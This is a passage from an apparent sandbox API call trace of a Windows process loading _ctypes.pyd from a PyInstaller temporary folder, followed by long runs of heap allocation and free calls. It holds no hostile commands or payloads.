(in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a6b8 | out: hHeap=0x2ad0000) returned 1 [0072.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1af78 [0072.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x101) returned 0x2a1a258 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a1a258 | out: hHeap=0x2ad0000) returned 1 [0072.214] GetCurrentThreadId () returned 0x9b0 [0072.214] GetLastError () returned 0x2 [0072.214] GetLastError () returned 0x2 [0072.214] GetLastError () returned 0x2 [0072.214] GetLastError () returned 0x2 [0072.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x38) returned 0x2a879a0 [0072.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0072.214] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0072.214] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x5) returned 0x2ad64f8 [0072.214] GetLastError () returned 0x2 [0072.214] CreateFileA (lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ctypes.pyd" (normalized: "c:\\users\\fd1hvy\\appdata\\local\\temp\\_mei11~1\\_ctypes.pyd"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x9ba970, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x80, hTemplateFile=0x0) returned 0x1d4 [0072.215] GetFileType (hFile=0x1d4) returned 0x1 [0072.215] GetFileType (hFile=0x1d4) returned 0x1 [0072.215] GetFileInformationByHandle (in: hFile=0x1d4, lpFileInformation=0x9ba9ec | out: lpFileInformation=0x9ba9ec) returned 1 [0072.215] FileTimeToLocalFileTime (in: lpFileTime=0x9baa00, lpLocalFileTime=0x9baa30 | out: lpLocalFileTime=0x9baa30) returned 1 [0072.215] FileTimeToSystemTime (in: lpFileTime=0x9baa30, lpSystemTime=0x9baa20 | out: lpSystemTime=0x9baa20) returned 1 [0072.215] FileTimeToLocalFileTime (in: lpFileTime=0x9ba9f8, lpLocalFileTime=0x9baa30 | out: lpLocalFileTime=0x9baa30) returned 1 [0072.215] FileTimeToSystemTime (in: lpFileTime=0x9baa30, lpSystemTime=0x9baa20 | out: lpSystemTime=0x9baa20) returned 1 [0072.215] FileTimeToLocalFileTime (in: lpFileTime=0x9ba9f0, lpLocalFileTime=0x9baa30 | out: lpLocalFileTime=0x9baa30) returned 1 [0072.215] FileTimeToSystemTime (in: lpFileTime=0x9baa30, lpSystemTime=0x9baa20 | out: lpSystemTime=0x9baa20) returned 1 [0072.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0072.215] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a879a0 | out: hHeap=0x2ad0000) returned 1 [0072.215] GetLastError () returned 0x0 [0072.216] GetFullPathNameA (in: lpFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ctypes.pyd", nBufferLength=0x104, lpBuffer=0x9ba734, lpFilePart=0x9ba72c | out: lpBuffer="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ctypes.pyd", lpFilePart=0x9ba72c*="_ctypes.pyd") returned 0x37 [0072.216] ActivateActCtx (in: hActCtx=0x1050d14, lpCookie=0x9ba714 | out: hActCtx=0x1050d14, lpCookie=0x9ba714) returned 1 [0072.216] LoadLibraryExA (lpLibFileName="C:\\Users\\FD1HVy\\AppData\\Local\\Temp\\_MEI11~1\\_ctypes.pyd", hFile=0x0, dwFlags=0x8) returned 0x74450000 [0073.266] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x80) returned 0x2a73188 [0073.266] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2a73188) returned 0x80 [0073.267] RtlSizeHeap (HeapHandle=0x2ad0000, Flags=0x0, MemoryPointer=0x2a73188) returned 0x80 [0073.268] DisableThreadLibraryCalls (hLibModule=0x74450000) returned 1 [0073.268] DeactivateActCtx (dwFlags=0x0, ulCookie=0x14590002) returned 1 [0073.268] SetErrorMode (uMode=0x0) returned 0x1 [0073.268] GetLastError () returned 0x0 [0073.269] GetProcAddress (hModule=0x74450000, lpProcName="init_ctypes") returned 0x74457b70 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0xc) returned 0x2a18148 [0073.269] CreateEventA (lpEventAttributes=0x0, bManualReset=0, bInitialState=0, lpName=0x0) returned 0x1e4 [0073.269] GetCurrentThreadId () returned 0x9b0 [0073.269] GetCurrentThreadId () returned 0x9b0 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aac5d0 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x600) returned 0x2aa8df8 [0073.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2aac5d0 | out: hHeap=0x2ad0000) returned 1 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18238 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18130 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0073.269] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0073.269] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a71840 [0073.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0073.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18130 | out: hHeap=0x2ad0000) returned 1 [0073.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18238 | out: hHeap=0x2ad0000) returned 1 [0073.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0073.269] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18010 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6518 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6428 [0073.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6518, Size=0x14) returned 0x2a71740 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6428 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18010 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71740 | out: hHeap=0x2ad0000) returned 1 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716e0 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64f8 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0073.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64f8, Size=0x14) returned 0x2a71920 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71920 | out: hHeap=0x2ad0000) returned 1 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18088 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aacf00 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6588 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71860 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6468 [0073.270] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6478 [0073.270] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6468, Size=0x14) returned 0x2a71680 [0073.270] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6478 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71860 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6588 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71680 | out: hHeap=0x2ad0000) returned 1 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aabb18 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716e0 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18070 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6588 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0073.271] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6588, Size=0x14) returned 0x2a71840 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18070 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716e0 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aac8e0 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a718e0 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6408 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0073.271] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6408, Size=0x14) returned 0x2a71900 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718e0 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0073.271] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aad088 [0073.271] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6528 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a715c0 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64c8 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6468 [0073.272] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64c8, Size=0x14) returned 0x2a71660 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6468 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18268 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a715c0 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6528 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71660 | out: hHeap=0x2ad0000) returned 1 [0073.272] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18280, Size=0x20) returned 0x2a1fb28 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aac138 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71860 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64f8 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0073.272] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64f8, Size=0x14) returned 0x2a71900 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71860 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71900 | out: hHeap=0x2ad0000) returned 1 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aacbf0 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64d8 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a718a0 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6528 [0073.272] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6548 [0073.272] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6528, Size=0x14) returned 0x2a716c0 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6548 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0073.272] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718a0 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64d8 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716c0 | out: hHeap=0x2ad0000) returned 1 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aaca68 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180e8 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65b8 [0073.273] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a71860 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65b8 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180e8 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71860 | out: hHeap=0x2ad0000) returned 1 [0073.273] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a853d0, Size=0x1a8) returned 0x2a869d8 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6558 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a718a0 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18220 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6538 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0073.273] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6538, Size=0x14) returned 0x2a718e0 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18220 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718a0 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6558 | out: hHeap=0x2ad0000) returned 1 [0073.273] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a718e0 | out: hHeap=0x2ad0000) returned 1 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18268 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64c8 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a716c0 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18238 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6428 [0073.273] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6578 [0073.273] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6428, Size=0x14) returned 0x2a71800 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6578 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18238 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a716c0 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64c8 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71800 | out: hHeap=0x2ad0000) returned 1 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aabfb0 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad63f8 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71620 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18178 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64f8 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6518 [0073.274] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64f8, Size=0x14) returned 0x2a71580 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6518 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18178 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71620 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad63f8 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71580 | out: hHeap=0x2ad0000) returned 1 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aad520 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad65c8 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a717c0 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a180e8 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6448 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad64f8 [0073.274] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6448, Size=0x14) returned 0x2a71640 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad64f8 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a180e8 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a717c0 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad65c8 | out: hHeap=0x2ad0000) returned 1 [0073.274] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71640 | out: hHeap=0x2ad0000) returned 1 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aac448 [0073.274] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6488 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71720 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a18220 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad6458 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0073.275] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad6458, Size=0x14) returned 0x2a71840 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6448 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a18220 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71720 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6488 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a71840 | out: hHeap=0x2ad0000) returned 1 [0073.275] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2a18268, Size=0x20) returned 0x2a1f970 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x180) returned 0x2aad210 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6448 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x14) returned 0x2a71640 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x10) returned 0x2a17fe0 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x4) returned 0x2ad64a8 [0073.275] RtlAllocateHeap (HeapHandle=0x2ad0000, Flags=0x0, Size=0x8) returned 0x2ad6458 [0073.275] RtlReAllocateHeap (Heap=0x2ad0000, Flags=0x0, Ptr=0x2ad64a8, Size=0x14) returned 0x2a71680 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2ad6458 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: hHeap=0x2ad0000, dwFlags=0x0, lpMem=0x2a17fe0 | out: hHeap=0x2ad0000) returned 1 [0073.275] HeapFree (in: 